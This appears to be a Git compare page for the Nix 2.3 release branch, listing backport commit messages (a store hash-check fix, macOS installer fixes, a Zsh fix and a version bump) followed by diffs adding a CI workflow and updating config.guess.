regnat 3dbd83b9a1 Check the CA hash when importing stuff in the local store
When adding a path to the local store (via `LocalStore::addToStore`),
ensure that the `ca` field of the provided `ValidPathInfo` does indeed
correspond to the content of the path.
Otherwise any untrusted user (or any binary cache) can add arbitrary
content-addressed paths to the store (as content-addressed paths don’t
need a signature).
2021-06-01 15:21:01 +02:00
Eelco Dolstra 5713ff48c3 Bump version 2021-06-01 15:20:51 +02:00
Eelco Dolstra 702d707fb1 Merge pull request #4863 from jonringer/fix-2.3-build-stable
Fix pure build of 2.3
2021-06-01 11:22:28 +02:00
Jonathan Ringer 5e5013e2f6 Fix pure build of 2.3 2021-05-31 17:14:33 -07:00
Domen Kožar 406a70159a Merge pull request #4805 from YorikSar/zsh-nix-profiles-2.3
Fix iterating over $NIX_PROFILES in Zsh (backport to 2.3)
2021-05-14 12:22:27 +02:00
Eelco Dolstra 2e12b28fc5 Bump version 2021-05-14 11:59:01 +02:00
Yuriy Taraday 419797128d Fix iterating over $NIX_PROFILES in Zsh
NIX_PROFILES is space separated list of directories, and passing it into
for as is is considered to be 1-element list with the whole string. With
shwordsplit option Zsh emulates other shells in this regard ans
implicitely splits unquoted strings into words.

Fixes #4167.
2021-05-14 12:09:58 +04:00
Travis A. Everett dd50221e8a fix nixbld user name/uid for macOS
(cherry picked from commit 0431cf6d09)
Signed-off-by: Domen Kožar <domen@dev.si>
2021-03-26 09:24:10 +01:00
Eelco Dolstra dac86f84c3 Merge pull request #4634 from ianthehenry/backport-user-env-assertion-fix
backport #4411
2021-03-15 16:34:33 +01:00
David McFarland 2fe57daadd Fix insufficent attribute capacity in user profile 2021-03-13 17:32:47 +00:00
Eelco Dolstra 2a19287b8f Merge pull request #4616 from lovesegfault/backport-4601
Backport #4601
2021-03-08 13:36:55 +01:00
Bernardo Meurer da1629d744 nix-build: set execfail
When starting a nix-shell with `-i` it was previously possible for it to
silently fail in the scenario where the specified interpreter didn't
exist. This happened due to the `exec` call masking the issue.

With this change we enable `execfail`, which causes the script using
`nix-shell` as interpreter to correctly exit with code 127.

Fixes: #4598
(cherry picked from commit 6e849e3b0a)
2021-03-08 02:09:12 -08:00
Graham Christensen 5a2716f6d3 distributed builds: load remote builder host key from the machines file
This is already used by Hydra, and is very useful when materializing
a remote builder list from service discovery. This allows the service
discovery tool to only sync one file instead of two.
2021-02-25 11:11:07 -05:00
Eelco Dolstra 3cdd464212 Merge pull request #4475 from matthewbauer/fix-4469-backport-2-3
[backport 2.3] Fix #4469
2021-01-25 20:15:59 +01:00
Maximilian Bosch 85329cac35 scripts/install-nix-from-closure: only show progress if a terminal is used
While the progress dots during the copying of the store work fine on a
normal terminal, those look pretty off if the script is run inside a
provisioning script of e.g. `vagrant` or `packer` where `stderr` and
`stdout` are captured:

    default: .
    default: ..
    default: .
    default: .
    default: .

To work around this, the script checks with `-t 0` if it's
running on an actual terminal and doesn't show the progress if that's not
the case.

(cherry picked from commit d9367a2dd1)
2021-01-25 20:14:10 +01:00
Matthew Bauer f95c320500 Handle missing etag in 304 Not Modified response
GitHub now omits the etag, but 304 implies it matches the one we
provided. Just use that one to avoid having an etag-less resource.

Fixes #4469

(cherry picked from commit a766824660)
2021-01-25 12:18:57 -06:00
Eelco Dolstra 3a6a2f88f2 Merge pull request #4404 from orivej/2.3-aws-sdk-cpp
Backport compatibility with newer AWS SDKs to 2.3 (#4316)
2020-12-28 13:14:47 +01:00
Stéphan Kochen 024c0eaad1 Fix compatibility with newer AWS SDKs (#4316)
Tested against AWS SDK 1.8.99. Fixes #3201.

(cherry picked from commit e20a3ec756)
2020-12-26 09:09:21 +00:00
Domen Kožar 0828ace09b Merge pull request #4389 from hercules-ci/backport-issue-3964-substitution-loop
Backport issue 3964 substitution loop
2020-12-25 15:59:31 +00:00
Robert Hensing 8388e2ea48 Revert "Tests for #3964"
This reverts commit e90530e491.

It appears that this backported test relies on new functionality.

The error is:

    + nix copy --to file:///build/nix-test/binary-cache /build/nix-test/store/dckdy2xp7sn8qvyx8axxjq7clnxddri1-multi-output
    warning: you don't have Internet access; disabling some network-dependent features
    error: uploading to 'file:///build/nix-test/binary-cache/nar/0hpfhrig9h6fvbjmiwsb7zkaxr19vr2w048y4xb3nrs36bagf92n.nar.xz' is not supported
2020-12-22 11:57:31 +01:00
Robert Hensing e90530e491 Tests for #3964
(cherry picked from commit ea8d32020e)
2020-12-22 11:50:57 +01:00
Robert Hensing c29fffeaaa DerivationGoal: only retry if output closure incomplete is only problem
(cherry picked from commit bd9eb5c743)
2020-12-22 11:46:22 +01:00
Eelco Dolstra 8803753666 Merge pull request #4374 from NixOS/2.3-absolute-url-in-binary-caches
Allow HTTP binary cache to request absolute uris
2020-12-16 14:42:25 +01:00
Domen Kožar 6de15f722d Allow HTTP binary cache to request absolute uris 2020-12-16 14:13:15 +01:00
Eelco Dolstra 359c07b9fd Merge pull request #4368 from piegamesde/backport-json-unicode-escape
Backport json unicode escaping to 2.3
2020-12-16 12:48:14 +01:00
Nikola Knezevic 0f35904915 Add support for \u escape in fromJSON
As fromTOML supports \u and \U escapes, bring fromJSON on par. As JSON defaults
to UTF-8 encoding (every JSON parser must support UTF-8), this change parses the
`\u hex hex hex hex` sequence (\u followed by 4 hexadecimal digits) into an
UTF-8 representation.

Add a test to verify correct parsing, using all escape sequences from json.org.
2020-12-15 18:49:32 +01:00
Nikola Knezevic b595df5423 Remove redundant check in parseJSONString 2020-12-15 18:48:49 +01:00
Eelco Dolstra 62f01d7ed3 Bump version 2020-12-04 12:23:09 +01:00
Matthew Bauer f82490c561 Update config.guess for proper arm64 macOS detection
This fixes results for arm64 macOS so config.guess now reports:

  aarch64-apple-darwin20.1.0

instead of

  arm-apple-darwin20.1.0

(cherry picked from commit 94f359525e)
2020-12-04 12:22:31 +01:00
Eelco Dolstra 8d65ec5457 Merge pull request #4312 from lukegb/bug4295
When moving paths out of sandbox, ensure we have write permission
2020-12-04 12:22:06 +01:00
Luke Granger-Brown 2239953894 When moving paths out of sandbox, ensure we have write permission.
If we're a single-user installation of Nix, then we won't have root
superpowers to just ignore the permission bits. This means that we'll
need permission on the directory (if it's a directory) that we're moving
in order to move it with rename, because it must update the ".."
directory entry.

Fixes #4295.

This is already working in master, thanks to
e913a2989f (and followup cleanups).
2020-12-04 04:33:33 +00:00
Travis A. Everett 6456941993 enable Darwin.arm64 to install x86_64 binary
Throwing @thefloweringash under the bus if this doesn't work, but it
sounds like Apple Silicon devices can use the x86_64 binary for now.

Fixes #4058

(cherry picked from commit 4864df6d6b)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-11-20 10:51:51 +01:00
Eelco Dolstra c67264d218 Bump version 2020-10-29 14:45:37 +01:00
Eelco Dolstra 7f1de4d5ed Merge pull request #3405 from hercules-ci/issue-3398-path-info-cache-ttls-backport-2.3
pathInfoCache: Respect disk cache TTLs #3398 (2.3 backport)
2020-10-29 12:44:16 +01:00
Marwan Aljubeh a39798b64c Fix the nix-daemon Mac OS SSL CA cert
Mac OS multi-user installations are currently broken because all requests
made by nix-daemon to the binary cache fail with:

```
unable to download ... Problem with the SSL CA cert (path? access rights?) (77).
```

This change ensures that the nix-daemon knows where to find the SSL CA cert file.

Fixes #2899 and #3261.

(cherry picked from commit b7c02232b2)
2020-10-21 12:19:53 +02:00
Travis A. Everett 51a4a5e1cf adapt to apfs.util flag diff in catalina/big sur
Fixes #3957. Just runs both forms to minimize moving parts.

(cherry picked from commit fe807904e5)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-10-20 12:21:45 +02:00
Travis A. Everett 613297a528 replace xpath with xmllint --xpath; simplify
As mentioned in previous commit, Big Sur changes the syntax for the
xpath command slightly.

In the process of testing out replacements for these, I noticed a few
small simplification wins.

(cherry picked from commit e736f8f6e4)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-10-20 12:21:45 +02:00
Travis A. Everett 72b8673e06 fix xpath and conditional bugs; xpath -> xmllint
- xpath -> xmllint: xpath's cli interface changed in Big Sur
  rather than add conditional logic for picking the correct
  syntax for xpath, I'm changing to xmllint --xpath, which
  appears to be consistent across versions I've tested...

- /plist/dict/key[text()='Writable']/following-sibling::true[1]
  doesn't do quite what's expected. It was written to try to
  select a <true /> node paired with the Writable key, but it
  will also select the *next* <true /> node that appears even
  if it was paired with another key.

- I think there's also a logic bug in the conditionals here.
  I'm not sure anyone ever actuall saw it, thanks to the xpath
  bug, though. With the xpath fix, this conditional passes if /nix
  does not exist, / IS writable, and the version is Catalina+.

  I think it meant to test for /nix does not exist, / is NOT
  writable, and the version is Catalina+. I reworked this lightly
  to make it a little clearer at the code level.

(cherry picked from commit 1f02b65c59)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-10-20 12:21:44 +02:00
Travis A. Everett 14c7e77bc4 update macOS version handling for Big Sur
Keeping this commit narrow for reviewability, but some of these
conditionals will change in subsequent commits in this PR.

Fixes #3852.

(cherry picked from commit 9c3dc9d7ca)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-10-20 12:21:41 +02:00
Eelco Dolstra 00a52f61f4 Installer: Set a known umask
Fixes #1560, #2377.

(cherry picked from commit 924712eef1)
2020-10-12 16:57:26 +02:00
Eelco Dolstra f09b375837 Prevent a deadlock when user namespace setup fails
Observed on Centos 7 when user namespaces are disabled:
DerivationGoal::startBuilder() throws an exception, ~DerivationGoal()
waits for the child process to exit, but the child process hangs
forever in drainFD(userNamespaceSync.readSide.get()) in
DerivationGoal::runChild(). Not sure why the SIGKILL doesn't get
through.

Issue #4092.

(cherry picked from commit d761485010)
2020-10-07 09:10:24 +02:00
Eelco Dolstra 682694e03a Merge pull request #3984 from hercules-ci/backport-darwin-tmp-dir-3488
never use /var/folders for TMPDIR on darwin (2.3 backport)
2020-09-02 15:46:25 +02:00
Daiderd Jordan f6ff68479e never use /var/folders for TMPDIR on darwin
This doesn't just cause problems for nix-store --serve but also results
in certain build failures. Builds that use unix domain sockets in their
tests often fail because the /var/folders prefix already consumes more
than half of the maximum length of socket paths.

    struct sockaddr_un {
       sa_family_t sun_family;               /* AF_UNIX */
       char        sun_path[108];            /* Pathname */
    };

(cherry picked from commit 4d9db420ff)
2020-09-02 15:41:43 +02:00
Eelco Dolstra 40d031d57c Merge pull request #3926 from nh2/2.3-issue-3906-gc-build-errors-backport
repl.cc: Check for HAVE_BOEHMGC
2020-08-13 10:59:35 +02:00
Eelco Dolstra d5c7efae38 repl.cc: Check for HAVE_BOEHMGC
Fixes #3906.

(cherry picked from commit 59067f0f58)
2020-08-13 04:34:36 +02:00
Eelco Dolstra 8b04d28a5b createUnixDomainSocket(): Fix off-by-one error in copying the socket path
Reported by Kane York.

(cherry picked from commit 2292814049)
2020-07-24 20:50:05 +02:00
Eelco Dolstra c728d375de Bump version 2020-07-08 21:03:03 +02:00
Eelco Dolstra 975efd530c Merge pull request #3790 from basvandijk/2.3-gc-fix
Cherry-pick "Use fragment size for autoGC capacity calculation" on 2.3
2020-07-08 20:50:48 +02:00
Samir Talwar d5ecb8d3cd Instruct the user to follow redirects when installing Nix.
Nix installation now requires following redirects using `curl -L`. This
is currently represented on the [Nix download page][] but not in the
manual. This change updates the manual to reflect this.

Using `curl` without the `-L` flag results in an empty body, making
installation a no-op.

[Nix download page]: https://nixos.org/download.html

(cherry picked from commit 9069759767)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-07-08 14:21:13 +02:00
Jörg Thalheim 4281bc6227 docs/installer: add correct curl flags
also see https://nixos.org/download.html

(cherry picked from commit 3685f4eec6)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-07-08 14:20:54 +02:00
Jude Taylor 15876ec4a0 nix auto-gc: use fragment size
(cherry picked from commit e2fc575c61)
2020-07-07 15:40:24 +02:00
Eelco Dolstra 8397c94081 Bump version 2020-06-30 17:53:34 +02:00
Eelco Dolstra 3933cf56af NAR parser: Fix missing name field check
Discovered by @Kloenk.

(cherry picked from commit 2b834d48aa)
2020-06-30 17:53:17 +02:00
Eelco Dolstra 96310a4d7d nix repl: Scan NixRepl for GC roots
Fixes #3175.

(cherry picked from commit b244e65cdb)
Signed-off-by: Domen Kožar <domen@dev.si>
2020-06-18 10:31:40 +02:00
Robert Hensing d549250069 pathInfoCache: Respect disk cache TTLs #3398 2020-03-12 10:33:52 +01:00
116 changed files with 3140 additions and 1693 deletions

No files matched your search

+58
View File
@@ -0,0 +1,58 @@
name: "CI"
on:
pull_request:
push:
permissions: read-all
jobs:
tests:
needs: [check_cachix]
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 60
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: cachix/install-nix-action@v30
with:
# The sandbox would otherwise be disabled by default on Darwin
extra_nix_config: |
sandbox = true
max-jobs = 1
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
- uses: cachix/cachix-action@v15
if: needs.check_cachix.outputs.secret == 'true'
with:
name: '${{ env.CACHIX_NAME }}'
signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
# Since ubuntu 22.30, unprivileged usernamespaces are no longer allowed to map to the root user:
# https://ubuntu.com/blog/ubuntu-23-10-restricted-unprivileged-user-namespaces
- run: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
if: matrix.os == 'ubuntu-latest'
- run: nix-build release.nix -A build.$(nix-instantiate --eval -E '(builtins.currentSystem)')
# Steps to test CI automation in your own fork.
# Cachix:
# 1. Sign-up for https://www.cachix.org/
# 2. Create a cache for $githubuser-nix-install-tests
# 3. Create a cachix auth token and save it in https://github.com/$githubuser/nix/settings/secrets/actions in "Repository secrets" as CACHIX_AUTH_TOKEN
check_cachix:
name: Cachix secret present for installer tests
runs-on: ubuntu-latest
outputs:
secret: ${{ steps.secret.outputs.secret }}
steps:
- name: Check for Cachix secret
id: secret
env:
_CACHIX_SECRETS: ${{ secrets.CACHIX_SIGNING_KEY }}${{ secrets.CACHIX_AUTH_TOKEN }}
run: |
echo "::set-output name=secret::${{ env._CACHIX_SECRETS != '' }}"
+1 -1
View File
@@ -1 +1 @@
2.3.6
2.3.18
+2
View File
@@ -1,3 +1,4 @@
HOST_OS = @host_os@
AR = @AR@
BDW_GC_LIBS = @BDW_GC_LIBS@
BUILD_SHARED_LIBS = @BUILD_SHARED_LIBS@
@@ -18,6 +19,7 @@ SODIUM_LIBS = @SODIUM_LIBS@
LIBLZMA_LIBS = @LIBLZMA_LIBS@
SQLITE3_LIBS = @SQLITE3_LIBS@
LIBBROTLI_LIBS = @LIBBROTLI_LIBS@
LIBZSTD_LIBS = @LIBZSTD_LIBS@
EDITLINE_LIBS = @EDITLINE_LIBS@
bash = @bash@
bindir = @bindir@
+375 -163
View File
@@ -1,8 +1,8 @@
#! /bin/sh
# Attempt to guess a canonical system name.
# Copyright 1992-2018 Free Software Foundation, Inc.
# Copyright 1992-2020 Free Software Foundation, Inc.
timestamp='2018-08-02'
timestamp='2020-11-19'
# This file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
@@ -27,12 +27,12 @@ timestamp='2018-08-02'
# Originally written by Per Bothner; maintained since 2000 by Ben Elliston.
#
# You can get the latest version of this script from:
# https://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess
# https://git.savannah.gnu.org/cgit/config.git/plain/config.guess
#
# Please send patches to <config-patches@gnu.org>.
me=`echo "$0" | sed -e 's,.*/,,'`
me=$(echo "$0" | sed -e 's,.*/,,')
usage="\
Usage: $0 [OPTION]
@@ -50,7 +50,7 @@ version="\
GNU config.guess ($timestamp)
Originally written by Per Bothner.
Copyright 1992-2018 Free Software Foundation, Inc.
Copyright 1992-2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
@@ -96,13 +96,14 @@ fi
tmp=
# shellcheck disable=SC2172
trap 'test -z "$tmp" || rm -fr "$tmp"' 1 2 13 15
trap 'exitcode=$?; test -z "$tmp" || rm -fr "$tmp"; exit $exitcode' 0
trap 'test -z "$tmp" || rm -fr "$tmp"' 0 1 2 13 15
set_cc_for_build() {
# prevent multiple calls if $tmp is already set
test "$tmp" && return 0
: "${TMPDIR=/tmp}"
# shellcheck disable=SC2039
{ tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } ||
{ tmp=$( (umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null) && test -n "$tmp" && test -d "$tmp" ; } ||
{ test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir "$tmp" 2>/dev/null) ; } ||
{ tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir "$tmp" 2>/dev/null) && echo "Warning: creating insecure temp directory" >&2 ; } ||
{ echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; }
@@ -130,16 +131,14 @@ if test -f /.attbin/uname ; then
PATH=$PATH:/.attbin ; export PATH
fi
UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown
UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown
UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown
UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown
UNAME_MACHINE=$( (uname -m) 2>/dev/null) || UNAME_MACHINE=unknown
UNAME_RELEASE=$( (uname -r) 2>/dev/null) || UNAME_RELEASE=unknown
UNAME_SYSTEM=$( (uname -s) 2>/dev/null) || UNAME_SYSTEM=unknown
UNAME_VERSION=$( (uname -v) 2>/dev/null) || UNAME_VERSION=unknown
case "$UNAME_SYSTEM" in
Linux|GNU|GNU/*)
# If the system lacks a compiler, then just pick glibc.
# We could probably try harder.
LIBC=gnu
LIBC=unknown
set_cc_for_build
cat <<-EOF > "$dummy.c"
@@ -148,17 +147,29 @@ Linux|GNU|GNU/*)
LIBC=uclibc
#elif defined(__dietlibc__)
LIBC=dietlibc
#else
#elif defined(__GLIBC__)
LIBC=gnu
#else
#include <stdarg.h>
/* First heuristic to detect musl libc. */
#ifdef __DEFINED_va_list
LIBC=musl
#endif
#endif
EOF
eval "`$CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^LIBC' | sed 's, ,,g'`"
eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^LIBC' | sed 's, ,,g')"
# If ldd exists, use it to detect musl libc.
if command -v ldd >/dev/null && \
ldd --version 2>&1 | grep -q ^musl
then
LIBC=musl
# Second heuristic to detect musl libc.
if [ "$LIBC" = unknown ] &&
command -v ldd >/dev/null &&
ldd --version 2>&1 | grep -q ^musl; then
LIBC=musl
fi
# If the system lacks a compiler, then just pick glibc.
# We could probably try harder.
if [ "$LIBC" = unknown ]; then
LIBC=gnu
fi
;;
esac
@@ -178,19 +189,20 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
# Note: NetBSD doesn't particularly care about the vendor
# portion of the name. We always set it to "unknown".
sysctl="sysctl -n hw.machine_arch"
UNAME_MACHINE_ARCH=`(uname -p 2>/dev/null || \
UNAME_MACHINE_ARCH=$( (uname -p 2>/dev/null || \
"/sbin/$sysctl" 2>/dev/null || \
"/usr/sbin/$sysctl" 2>/dev/null || \
echo unknown)`
echo unknown))
case "$UNAME_MACHINE_ARCH" in
aarch64eb) machine=aarch64_be-unknown ;;
armeb) machine=armeb-unknown ;;
arm*) machine=arm-unknown ;;
sh3el) machine=shl-unknown ;;
sh3eb) machine=sh-unknown ;;
sh5el) machine=sh5le-unknown ;;
earmv*)
arch=`echo "$UNAME_MACHINE_ARCH" | sed -e 's,^e\(armv[0-9]\).*$,\1,'`
endian=`echo "$UNAME_MACHINE_ARCH" | sed -ne 's,^.*\(eb\)$,\1,p'`
arch=$(echo "$UNAME_MACHINE_ARCH" | sed -e 's,^e\(armv[0-9]\).*$,\1,')
endian=$(echo "$UNAME_MACHINE_ARCH" | sed -ne 's,^.*\(eb\)$,\1,p')
machine="${arch}${endian}"-unknown
;;
*) machine="$UNAME_MACHINE_ARCH"-unknown ;;
@@ -221,7 +233,7 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
case "$UNAME_MACHINE_ARCH" in
earm*)
expr='s/^earmv[0-9]/-eabi/;s/eb$//'
abi=`echo "$UNAME_MACHINE_ARCH" | sed -e "$expr"`
abi=$(echo "$UNAME_MACHINE_ARCH" | sed -e "$expr")
;;
esac
# The OS release
@@ -234,7 +246,7 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
release='-gnu'
;;
*)
release=`echo "$UNAME_RELEASE" | sed -e 's/[-_].*//' | cut -d. -f1,2`
release=$(echo "$UNAME_RELEASE" | sed -e 's/[-_].*//' | cut -d. -f1,2)
;;
esac
# Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM:
@@ -243,15 +255,15 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
echo "$machine-${os}${release}${abi-}"
exit ;;
*:Bitrig:*:*)
UNAME_MACHINE_ARCH=`arch | sed 's/Bitrig.//'`
UNAME_MACHINE_ARCH=$(arch | sed 's/Bitrig.//')
echo "$UNAME_MACHINE_ARCH"-unknown-bitrig"$UNAME_RELEASE"
exit ;;
*:OpenBSD:*:*)
UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'`
UNAME_MACHINE_ARCH=$(arch | sed 's/OpenBSD.//')
echo "$UNAME_MACHINE_ARCH"-unknown-openbsd"$UNAME_RELEASE"
exit ;;
*:LibertyBSD:*:*)
UNAME_MACHINE_ARCH=`arch | sed 's/^.*BSD\.//'`
UNAME_MACHINE_ARCH=$(arch | sed 's/^.*BSD\.//')
echo "$UNAME_MACHINE_ARCH"-unknown-libertybsd"$UNAME_RELEASE"
exit ;;
*:MidnightBSD:*:*)
@@ -263,6 +275,9 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
*:SolidBSD:*:*)
echo "$UNAME_MACHINE"-unknown-solidbsd"$UNAME_RELEASE"
exit ;;
*:OS108:*:*)
echo "$UNAME_MACHINE"-unknown-os108_"$UNAME_RELEASE"
exit ;;
macppc:MirBSD:*:*)
echo powerpc-unknown-mirbsd"$UNAME_RELEASE"
exit ;;
@@ -272,26 +287,29 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
*:Sortix:*:*)
echo "$UNAME_MACHINE"-unknown-sortix
exit ;;
*:Twizzler:*:*)
echo "$UNAME_MACHINE"-unknown-twizzler
exit ;;
*:Redox:*:*)
echo "$UNAME_MACHINE"-unknown-redox
exit ;;
mips:OSF1:*.*)
echo mips-dec-osf1
exit ;;
echo mips-dec-osf1
exit ;;
alpha:OSF1:*:*)
case $UNAME_RELEASE in
*4.0)
UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'`
UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $3}')
;;
*5.*)
UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'`
UNAME_RELEASE=$(/usr/sbin/sizer -v | awk '{print $4}')
;;
esac
# According to Compaq, /usr/sbin/psrinfo has been available on
# OSF/1 and Tru64 systems produced since 1995. I hope that
# covers most systems running today. This code pipes the CPU
# types through head -n 1, so we only detect the type of CPU 0.
ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1`
ALPHA_CPU_TYPE=$(/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1)
case "$ALPHA_CPU_TYPE" in
"EV4 (21064)")
UNAME_MACHINE=alpha ;;
@@ -329,7 +347,7 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
# A Tn.n version is a released field test version.
# A Xn.n version is an unreleased experimental baselevel.
# 1.2 uses "1.2" for uname -r.
echo "$UNAME_MACHINE"-dec-osf"`echo "$UNAME_RELEASE" | sed -e 's/^[PVTX]//' | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz`"
echo "$UNAME_MACHINE"-dec-osf"$(echo "$UNAME_RELEASE" | sed -e 's/^[PVTX]//' | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz)"
# Reset EXIT trap before exiting to avoid spurious non-zero exit code.
exitcode=$?
trap '' 0
@@ -363,7 +381,7 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
exit ;;
Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*)
# akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
if test "`(/bin/universe) 2>/dev/null`" = att ; then
if test "$( (/bin/universe) 2>/dev/null)" = att ; then
echo pyramid-pyramid-sysv3
else
echo pyramid-pyramid-bsd
@@ -376,54 +394,59 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
echo sparc-icl-nx6
exit ;;
DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*)
case `/usr/bin/uname -p` in
case $(/usr/bin/uname -p) in
sparc) echo sparc-icl-nx7; exit ;;
esac ;;
s390x:SunOS:*:*)
echo "$UNAME_MACHINE"-ibm-solaris2"`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'`"
echo "$UNAME_MACHINE"-ibm-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')"
exit ;;
sun4H:SunOS:5.*:*)
echo sparc-hal-solaris2"`echo "$UNAME_RELEASE"|sed -e 's/[^.]*//'`"
echo sparc-hal-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')"
exit ;;
sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
echo sparc-sun-solaris2"`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'`"
echo sparc-sun-solaris2"$(echo "$UNAME_RELEASE" | sed -e 's/[^.]*//')"
exit ;;
i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*)
echo i386-pc-auroraux"$UNAME_RELEASE"
exit ;;
i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*)
UNAME_REL="`echo "$UNAME_RELEASE" | sed -e 's/[^.]*//'`"
case `isainfo -b` in
32)
echo i386-pc-solaris2"$UNAME_REL"
;;
64)
echo x86_64-pc-solaris2"$UNAME_REL"
;;
esac
set_cc_for_build
SUN_ARCH=i386
# If there is a compiler, see if it is configured for 64-bit objects.
# Note that the Sun cc does not turn __LP64__ into 1 like gcc does.
# This test works for both compilers.
if test "$CC_FOR_BUILD" != no_compiler_found; then
if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \
(CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \
grep IS_64BIT_ARCH >/dev/null
then
SUN_ARCH=x86_64
fi
fi
echo "$SUN_ARCH"-pc-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')"
exit ;;
sun4*:SunOS:6*:*)
# According to config.sub, this is the proper way to canonicalize
# SunOS6. Hard to guess exactly what SunOS6 will be like, but
# it's likely to be more like Solaris than SunOS4.
echo sparc-sun-solaris3"`echo "$UNAME_RELEASE"|sed -e 's/[^.]*//'`"
echo sparc-sun-solaris3"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')"
exit ;;
sun4*:SunOS:*:*)
case "`/usr/bin/arch -k`" in
case "$(/usr/bin/arch -k)" in
Series*|S4*)
UNAME_RELEASE=`uname -v`
UNAME_RELEASE=$(uname -v)
;;
esac
# Japanese Language versions have a version number like `4.1.3-JL'.
echo sparc-sun-sunos"`echo "$UNAME_RELEASE"|sed -e 's/-/_/'`"
echo sparc-sun-sunos"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/')"
exit ;;
sun3*:SunOS:*:*)
echo m68k-sun-sunos"$UNAME_RELEASE"
exit ;;
sun*:*:4.2BSD:*)
UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
UNAME_RELEASE=$( (sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null)
test "x$UNAME_RELEASE" = x && UNAME_RELEASE=3
case "`/bin/arch`" in
case "$(/bin/arch)" in
sun3)
echo m68k-sun-sunos"$UNAME_RELEASE"
;;
@@ -503,8 +526,8 @@ case "$UNAME_MACHINE:$UNAME_SYSTEM:$UNAME_RELEASE:$UNAME_VERSION" in
}
EOF
$CC_FOR_BUILD -o "$dummy" "$dummy.c" &&
dummyarg=`echo "$UNAME_RELEASE" | sed -n 's/\([0-9]*\).*/\1/p'` &&
SYSTEM_NAME=`"$dummy" "$dummyarg"` &&
dummyarg=$(echo "$UNAME_RELEASE" | sed -n 's/\([0-9]*\).*/\1/p') &&
SYSTEM_NAME=$("$dummy" "$dummyarg") &&
{ echo "$SYSTEM_NAME"; exit; }
echo mips-mips-riscos"$UNAME_RELEASE"
exit ;;
@@ -531,11 +554,11 @@ EOF
exit ;;
AViiON:dgux:*:*)
# DG/UX returns AViiON for all architectures
